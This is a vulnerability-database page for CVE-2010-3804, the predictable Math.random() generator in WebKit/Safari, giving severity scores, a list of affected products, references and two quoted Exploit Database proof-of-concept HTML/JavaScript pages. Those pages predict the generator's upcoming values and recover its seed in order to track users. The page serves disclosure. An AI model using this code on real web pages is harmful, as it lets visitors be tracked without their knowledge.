CVE-2010-3804 : Detail

CVE-2010-3804

A02-Cryptographic Failures
17.04%V4
Network
2010-11-20
20h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The JavaScript implementation in WebKit in Apple Safari before 5.0.3 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1.3 on Mac OS X 10.4, uses a weak algorithm for generating values of random numbers, which makes it easier for remote attackers to track a user by predicting a value, a related issue to CVE-2008-5913 and CVE-2010-3171.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 35005

Publication date : 2010-11-17 23h00 +00:00
Author : Amit Klein
EDB Verified : Yes

source: https://www.securityfocus.com/bid/44952/info WebKit is prone to a random-number-generator weakness. Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks. NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. <html> <body> <script> document.write("Browser: "+navigator.userAgent); </script> <br> <br> <script> interval=200; iid=null; function setint() { interval=document.getElementById('x').value; clearInterval(iid); iid=setInterval("recalc()",interval); return; } </script> <form> Polling interval:<br> Use low values (e.g. 200) for PRNG state mark demo and reseed counting<br> Use high values (e.g. 5000) for PRNG prediction demo<br> <input type="text" id="x" value="200"><br> <input type="button" value="Change" onClick="setint();"> </form> Total MSVCRT PRNG invocations (since this page load): <div id="total"></div><br> MSVCRT PRNG invocations since last reseed: <div id="current"></div><br> MSVCRT PRNG reseed count (since this page load): <div id="reseed"></div><br> MSVCRT PRNG state mark: <div id="mark"></div><br> Current Math.random(): <div id="math_random"></div><br> Calculated next Math.random() values: <div id="next"></div><br> <script> var total_counter=0; var current_counter=0; var reseed_counter=0; var state=0; var mark=0; function adv(x) { return (214013*x+2531011) & 0x7FFFFFFF; } function update_counters(reseed) { document.getElementById("total").innerText=total_counter; document.getElementById("current").innerText=current_counter; document.getElementById("reseed").innerText=reseed_counter; document.getElementById("mark").innerText=mark; m=Math.random(); state=adv(state); state2=adv(state); state2=adv(state2); document.getElementById("math_random").innerText=m; document.getElementById("next").innerText= ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30 ); state2=adv(state2); state2=adv(state2); document.getElementById("next").innerText+=" "+ ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30 ); } function find_mark(st) { for (;;) { if ((st & 0x3FF)==0) { return st>>10; } st=adv(st); } } function recalc() { var rr=new Array(); rr[0]=Math.random()*Math.pow(2,30); // Try to resync with the PRNG. // Allow up to 1000 iterations from previous sync for (k=0;k<1000;k++) { state=adv(state); if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) && (((adv(state)>>16)&0x7FFF)==(rr[0]>>15))) { state=adv(state); total_counter+=k; current_counter+=k; mark=find_mark(state); update_counters(false); return; } } rr[1]=Math.random()*Math.pow(2,30); var r=new Array(); for (i=0;i<2;i++) { r.push(rr[i] & 0x7FFF); r.push(rr[i]>>15); } for (v=0;v<(1<<16);v++) { state=(r[0]<<16)|v; for (j=1;j<4;j++) { state=adv(state); if (((state>>16)&0x7FFF)!=r[j]) { break; } } if (j==4) { reseed_counter++; current_counter=0; mark=find_mark(state); update_counters(true); return; } } } recalc(); setint(); </script> </body> </html>
Exploit Database EDB-ID : 35006

Publication date : 2010-11-17 23h00 +00:00
Author : Amit Klein
EDB Verified : Yes

source: https://www.securityfocus.com/bid/44952/info WebKit is prone to a random-number-generator weakness. Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks. NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. <html> <body> <script> document.write("userAgent: "+navigator.userAgent); </script> <br> <br> <div id="foo"></div> <form> <input type="button" value="Calculate Safari 5.0 (Windows) PRNG seed and mileage" onClick="calc_seed()"> </form> <script> function calc_seed() { r1=Math.random()*Math.pow(2,32); r2=Math.random()*Math.pow(2,32); H=r1; L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16))) & 0xFFFFFFFF; // 10000 is just an arbitrary limit to make sure the // algorithm doesn't run into an endless loop on // non-vulnerable browsers for (k=0;k<10000;k++) { L=(L-H) & 0xFFFFFFFF; H=(H-L) & 0xFFFFFFFF; H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16); if ((H^L)==0x49616E42) { document.getElementById("foo").innerText= "PRNG Seed: "+H+" "+ "(First page rendered: "+ (new Date(H*1000)).toString()+")\n"+ "PRNG mileage: "+k; return; } } document.getElementById("foo").innerText= "Could not find seed\n"+ "Are you sure it's Safari 5.0 for Windows?"; return; } </script> </body> </html>

Products Mentioned

Configuraton 0

Apple>>Safari >> Version To (including) 5.0.2

Apple>>Safari >> Version 5.0

Apple>>Safari >> Version 5.0.1

Apple>>Webkit >> Version *

Apple>>Mac_os_x >> Version 10.5

Apple>>Mac_os_x >> Version 10.5.0

Apple>>Mac_os_x >> Version 10.5.1

Apple>>Mac_os_x >> Version 10.5.2

Apple>>Mac_os_x >> Version 10.5.3

Apple>>Mac_os_x >> Version 10.5.4

Apple>>Mac_os_x >> Version 10.5.5

Apple>>Mac_os_x >> Version 10.5.6

Apple>>Mac_os_x >> Version 10.5.7

Apple>>Mac_os_x >> Version 10.5.8

Apple>>Mac_os_x >> Version 10.6.0

Apple>>Mac_os_x >> Version 10.6.1

Apple>>Mac_os_x >> Version 10.6.2

Apple>>Mac_os_x >> Version 10.6.3

Apple>>Mac_os_x >> Version 10.6.4

Apple>>Mac_os_x >> Version 10.6.5

Apple>>Mac_os_x_server >> Version 10.5

Apple>>Mac_os_x_server >> Version 10.5.0

Apple>>Mac_os_x_server >> Version 10.5.1

Apple>>Mac_os_x_server >> Version 10.5.2

Apple>>Mac_os_x_server >> Version 10.5.3

Apple>>Mac_os_x_server >> Version 10.5.4

Apple>>Mac_os_x_server >> Version 10.5.5

Apple>>Mac_os_x_server >> Version 10.5.6

Apple>>Mac_os_x_server >> Version 10.5.7

Apple>>Mac_os_x_server >> Version 10.5.8

Apple>>Mac_os_x_server >> Version 10.6.0

Apple>>Mac_os_x_server >> Version 10.6.1

Apple>>Mac_os_x_server >> Version 10.6.2

Apple>>Mac_os_x_server >> Version 10.6.3

Apple>>Mac_os_x_server >> Version 10.6.4

Apple>>Mac_os_x_server >> Version 10.6.5

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Configuraton 0

Apple>>Safari >> Version To (including) 4.1.2

Apple>>Safari >> Version 1.0

Apple>>Safari >> Version 1.0

Apple>>Safari >> Version 1.0

Apple>>Safari >> Version 1.0.0

Apple>>Safari >> Version 1.0.0b1

Apple>>Safari >> Version 1.0.0b2

Apple>>Safari >> Version 1.0.1

Apple>>Safari >> Version 1.0.2

Apple>>Safari >> Version 1.0.3

Apple>>Safari >> Version 1.0.3

Apple>>Safari >> Version 1.0.3

Apple>>Safari >> Version 1.1

Apple>>Safari >> Version 1.1.0

Apple>>Safari >> Version 1.1.1

Apple>>Safari >> Version 1.2

Apple>>Safari >> Version 1.2.0

Apple>>Safari >> Version 1.2.1

Apple>>Safari >> Version 1.2.2

Apple>>Safari >> Version 1.2.3

Apple>>Safari >> Version 1.2.4

Apple>>Safari >> Version 1.2.5

Apple>>Safari >> Version 1.3

Apple>>Safari >> Version 1.3.0

Apple>>Safari >> Version 1.3.1

Apple>>Safari >> Version 1.3.2

Apple>>Safari >> Version 1.3.2

Apple>>Safari >> Version 1.3.2

Apple>>Safari >> Version 2

Apple>>Safari >> Version 2.0

Apple>>Safari >> Version 2.0.0

Apple>>Safari >> Version 2.0.1

Apple>>Safari >> Version 2.0.2

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.3

Apple>>Safari >> Version 2.0.4

Apple>>Safari >> Version 3

Apple>>Safari >> Version 3.0

Apple>>Safari >> Version 3.0.0

Apple>>Safari >> Version 3.0.0b

Apple>>Safari >> Version 3.0.1

Apple>>Safari >> Version 3.0.1b

Apple>>Safari >> Version 3.0.2

Apple>>Safari >> Version 3.0.2b

Apple>>Safari >> Version 3.0.3

Apple>>Safari >> Version 3.0.3b

Apple>>Safari >> Version 3.0.4

Apple>>Safari >> Version 3.0.4b

Apple>>Safari >> Version 3.1.0

Apple>>Safari >> Version 3.1.0b

Apple>>Safari >> Version 3.1.1

Apple>>Safari >> Version 3.1.2

Apple>>Safari >> Version 3.2.0

Apple>>Safari >> Version 3.2.1

Apple>>Safari >> Version 3.2.2

Apple>>Safari >> Version 4.1

Apple>>Safari >> Version 4.1.1

Apple>>Webkit >> Version *

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.0

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.9

Apple>>Mac_os_x >> Version 10.4.10

Apple>>Mac_os_x >> Version 10.4.11

Apple>>Mac_os_x_server >> Version 10.4

Apple>>Mac_os_x_server >> Version 10.4.0

Apple>>Mac_os_x_server >> Version 10.4.1

Apple>>Mac_os_x_server >> Version 10.4.2

Apple>>Mac_os_x_server >> Version 10.4.3

Apple>>Mac_os_x_server >> Version 10.4.4

Apple>>Mac_os_x_server >> Version 10.4.5

Apple>>Mac_os_x_server >> Version 10.4.6

Apple>>Mac_os_x_server >> Version 10.4.7

Apple>>Mac_os_x_server >> Version 10.4.8

Apple>>Mac_os_x_server >> Version 10.4.9

Apple>>Mac_os_x_server >> Version 10.4.10

Apple>>Mac_os_x_server >> Version 10.4.11

References

http://secunia.com/advisories/43068
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4455
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2011/0212
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2010/3046
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42314
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4456
Tags : x_refsource_CONFIRM